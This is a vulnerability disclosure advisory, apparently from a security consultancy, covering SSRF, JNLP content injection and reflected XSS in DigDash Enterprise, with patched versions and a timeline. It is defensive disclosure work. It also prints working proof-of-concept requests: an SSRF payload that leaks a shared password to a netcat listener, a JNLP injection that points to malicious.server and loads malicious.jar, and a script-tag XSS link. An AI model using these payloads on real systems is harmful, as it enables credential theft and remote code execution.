DigDash Enterprise: Versions 2018R2-2020R1

DIGDASH ENTERPRISE ADVISORY SUMMARY

The following document describes three identified vulnerabilities (one high-risk, one medium-risk, one low-risk) in the DigDash application that affect one or more of the following versions: 2018R1, 2019R1, 2019R2, and 2020R1.

Impact

The server-side request forgery vulnerability allowed the disclosure of a service password. By stealing this password, an attacker could access the stored user credentials. The content injection vulnerability allowed an attacker to change the service IP address contained in the JNLP file and to execute malicious code on a DigDash user's computer. The cross-site scripting vulnerability allowed an attacker to execute injected JavaScript code within the browser of a targeted user.

High Risk Level

Affected Vendor

Product Description

DigDash Enterprise is a data visualization application that uses dashboards. The project’s official website is www.digdash.com/en. The latest version of the application is 2020R1.

Vulnerabilities List:

Three vulnerabilities were identified within the DigDash application:

SERVER-SIDE REQUEST FORGERY

CONTENT INJECTION

CROSS-SITE SCRIPTING

Solution

Update to versions:

• 2018R2 p20200528
• 2019R1 p20200528
• 2019R2 p20200430
• 2020R1 p20200507

These vulnerabilities are described in the following sections.

VULNERABILITIES

SERVER-SIDE REQUEST FORGERY

The DigDash Enterprise application was affected by a server-side request forgery (SSRF) vulnerability which occurred when a server sent a malicious HTTP request on behalf of a user. This vulnerability turns a web application into a proxy, which allows requests to be routed through the application to a destination of the attacker’s choosing.

The server-side request forgery is a pre-authentication attack located on the login page -- accessible without an account. The SSRF disclosed credentials in use by the application and was used to scan the internal network of the application.

The request below was used to force the DigDash application to forge requests. By modifying the domain name in the request, so that it redirected to a team-controlled server instead of its intended back-end server:

POST /digdash_dashboard/dashboard/dash HTTP/1.1
Host: X.X.X.X:8080
Content-Length: 440
Connection: close

7|0|11|http://X.X.X.X:8080/digdash_dashboard/dashboard/|81F6F5B73DF7A2036696E01D751EDE5A|com.digdash.client.DigdashService|getUserTheme|com.digdash.shared.SessionIdentification/3924413752|java.util.Vector/3057315478|java.util.HashSet/3273092938|ddenterpriseapi|<span style="color:#000000;">http://X.X.X.X:8080/digdash_dashboard/</span>|java.util.HashMap/1797211028|<span style="color:#c2282e;"><strong>[team-controlled server URL]</strong></span>|1|2|3|4|1|5|5|6|0|0|0|-1|7|0|7|0|0|8|0|0|9|0|0|0|0|10|0|11|-1|0|0|0|0|

Figure 1 - Request used to force the DigDash application to send arbitrary request

Using the redirected request, the assessment team extracted service credentials in use by the DigDash application:

nc -lvp 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from X.X.X.X.
Ncat: Connection from X.X.X.X:63127.
POST /ddenterpriseapi/DDEnterpriseAuthServlet HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: UTF-8
accept-language: en-US,en;q=0.5
X-dd-client-ip: X.X.X.X
X-Requested-With: DigDash Enterprise Client
Content-Length: 185
Host: Z.Z.Z.Z:4444
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; Enterprise Dashboard)
Accept-Encoding: gzip,deflate

userRoles=CUSTOM&<strong><span style="color:#cc0201;">sharedPwd=SecretPassword</span></strong>&clientId=Dashboard&method=login&pass=providedpassword&userAgent=Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A68.0%29+Gecko%2F20100101+Firefox%2F68.0&user=aaa

Figure 2 - Exposed credentials

The exposed credentials could be used by an attacker to authenticate to internal services in the DigDash application.

The response of the forged request was not displayed to the user, but as an error message:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment
Content-Type: application/json;charset=utf-8
Content-Length: 156
Connection: close

//EX[2,1,["com.google.gwt.http.client.RequestException/190587325","<strong><span style="color:#999999;">URL downloading error</span></strong>: http://Y.Y.Y.Y/ddenterpriseapi/DDEnterpriseAuthServlet"],0,7]

Figure 3 - Open port message

By analyzing this error message, it was possible to determine if the targeted server and port by the forged request was open or closed, which would help an attacker to scan the internal network.

Patch Details

The patched versions are:

• 2018R2 p20200210
• 2019R1 p20200210
• 2019R2 and 2020R1 (not affected)

CONTENT INJECTION

The DigDash application was affected by a content injection vulnerability that permitted an attacker to control the user experience of an application. An attacker could exploit this vulnerability by inserting or modifying the video, audio, images, links, or text displayed to users. Content injection vulnerabilities in trusted applications are useful for distributing arbitrary content that would appear genuine to users.

The DigDash application allow users to inject into a JNLP file used to run a local Java application. The JNLP files are used to run Java applet on a client computer. The injection of content inside a JNLP file allows an attacker to force the user to execute malicious Java-packaged application (JAR file) on their computer.

The requests below allow the modification of the URL contacted by the Java applet to authenticate users on the DigDash server and to fetch updates for the Java applet:

https://X.X.X.X:8443/adminconsole/digdash.jnlp?domain=ddenterpriseapi&dashboard=digdash_dashboard&ddserver=http://malicious.server:4444/adminconsole/

Figure 4 - Malicious URL transmitted to the JNLP endpoint

The figure below shows the malicious URL injected into the JNLP file:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Expires: Thu, 01 Jan 1970 01:00:00 CET
Set-Cookie: JSESSIONID=3C2067E2BFB2C0F132CD93613B251EEB; Path=/adminconsole/; HttpOnly
Content-Type: application/x-java-jnlp-file;charset=ISO-8859-1
Content-Length: 6576
Date: Fri, 17 Jan 2020 22:53:05 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0+" 
    codebase="http://malicious.server:4444/adminconsole" 
    href="digdash.jnlp?domain=ddenterpriseapi&ddserver=http://1v.bf.mg:4444/adminconsole&lang=en&en&dashboard=digdash_dashboard">
    <information>
        <title>Enterprise Studio</title>
        <vendor>DigDash</vendor>
        <homepage href="http://malicious.server:4444/adminconsole" />
        <description>Administration Console for DigDash</description>
    </information>

    <security>
        <all-permissions />
    </security>

…omitted for brevity…
            <jar href="enterprise_version.jar"/>
        </resources>

        <application-desc main-class="commandline.CommandLineMain">
    <argument>http://malicious.server:4444</argument></span></strong>
    <argument>ddenterpriseapi</argument>
    <argument>en</argument>
    <argument>digdash_dashboard</argument>
    <argument>-AuthMode=default</argument>
        </application-desc>
</jnlp>

Figure 5 - JNLP file modified with a malicious domain

Once a JNLP file is used to run a Java applet, the Java stack will first attempt to verify if any modification was made to the JNLP file. As the attacker could modify a malicious server though the ddserver parameter, the Java stack would use this malicious URL to retrieve a new JNLP. A malicious file can be provided to force the Java stack to retrieve a new Java-packaged application that would be run by the application as shown in the figure below:

<?xml version="1.0" encoding="utf-8"?>
<jnlp spec="1.0+"
    codebase="http://malicious.server:4444/adminconsole"
    href="digdash.jnlp?domain=?&ddserver=http://malicious.server:4444/adminconsole&lang=en&dashboard=null">
    <information>
        <title>Enterprise Studio</title>
        <vendor>DigDash</vendor>
        <homepage href="http://malicious.server:4444/adminconsole" />
        <description>Administration Console for DigDash</description>
    </information>

    <security>
        <all-permissions />
    </security>

    <resources>
        <jar href="malicious.jar"/>
    </resources>

    <application-desc main-class="commandline.CommandLineMain">
    </application-desc>
</jnlp>

Figure 6 - Malicious JNLP file

The assessment team could force the user to execute a malicious application and could therefore gain access to the client system.

Patch Details

The patched versions are:

• 2018R2 p20200528
• 2019R1 p20200421
• 2019R2 p20200430
• 2020R1 (not affected)

CROSS-SITE SCRIPTING

The DigDash application was affected by one cross-site scripting (XSS) vulnerability that was reflected on the login menu. This vulnerability allowed the execution of a JavaScript payload using malicious links sent to a DigDash user. The vulnerabilities could be exploited without authentication and used to target administrators and steal their sessions.

The login menu of the DigDash application that allowed the execution of JavaScript code sent by a user. This vulnerability could be used to steal the user’s session or authentication information. One instance of reflected XSS affected the serverDomain parameter on the endpoint http://X.X.X.X:8080/adminconsole/config.jsp. An example request and response are shown below:

http://X.X.X.X:8080/adminconsole/config.jsp?serverDomain=ddenterpriseapi%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E>

This request could be used to hijack the sessions of authenticated users.

Patch Details

The patched versions are:

• 2018R2 p20200528
• 2019R1 p20200528
• 2019R2 p20200430
• 2020R1 p20200507

Credits

Florian Nivette, Senior Security Consultant, Bishop Fox ([email protected])

Timeline

• Initial Discovery: 01/20/2020
• Contact with vendor: 02/03/2020
• Vendor acknowledged vulnerabilities: 03/11/2020
• Vendor released a patch for version 2018R2 and 2019R1 to address the SSRF: 02/10/2020
• Vendor released a patch for version 2018R2, 2019R1, 2019R2 and 2020R1 to address the XSS and the content injection: 05/28/2020
• Vulnerabilities publicly disclosed: 06/15/2020